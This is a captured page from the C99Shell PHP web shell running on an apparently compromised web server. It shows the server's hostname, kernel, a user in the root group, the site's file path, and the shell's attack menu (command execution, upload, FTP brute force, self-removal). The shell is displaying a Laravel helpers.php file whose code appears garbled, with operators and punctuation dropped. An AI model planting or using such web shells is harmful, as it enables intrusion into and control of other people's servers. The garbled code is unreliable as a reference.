!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/app/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helpers.php (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
use App\Models\Language;
use 
App\Models\Product;


    function 
setPermissionValue($val1,$val2) {

         return 
$val1 == $val2 $val1 "$val1.$val2";
    }

    function 
getPermissionGroupName($value) {
        
$array explode('.',$value);
         return 
$array[0];
    }

    function 
getLanguages() {
         return 
Language::where('status',1)->orderBy('created_at','ASC')->get();
    }

    function 
getCartCount() {
        return 
\App\Models\Cart::where('customer_id',\Illuminate\Support\Facades\Auth::guard('customer')->user()->id)->count();
    }

    function 
getWishlist() {
          return  
DB::table("wishlist")->where('customer_id',Auth::guard('customer')->user()->id)->pluck('product_id')->toArray();
    }

    function 
getCategories() {
      
$categoryArray =file_get_contents(base_path().'/storage/app/categoryArray.json');
      
$categories json_decode($categoryArray);
      return 
$categories;
    }

    function 
getProductOptions($id) {

      
$getProduct Product::select('product.id','product.model','order_product.options')
      ->
join('order_product','order_product.product_id','=','product.id')
      ->
where('product.id',$id)
      ->
first();

      
$decodeOptions null;
      if(
$getProduct && $getProduct->options){
        
$decodeOptions unserialize($getProduct->options);
      }

      
$rArry = ['model' => $getProduct $getProduct->model 'N/A','options' =>  $decodeOptions];

      return 
$rArry;

    }

    function 
calculatePercentage($basePrice,$special) {
        
$off 0;
        
$diff $basePrice $special;
        if(
$diff 0) {
          
$off number_format($diff $basePrice 100,0);
        }
        return 
$off.'% Off';
    }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--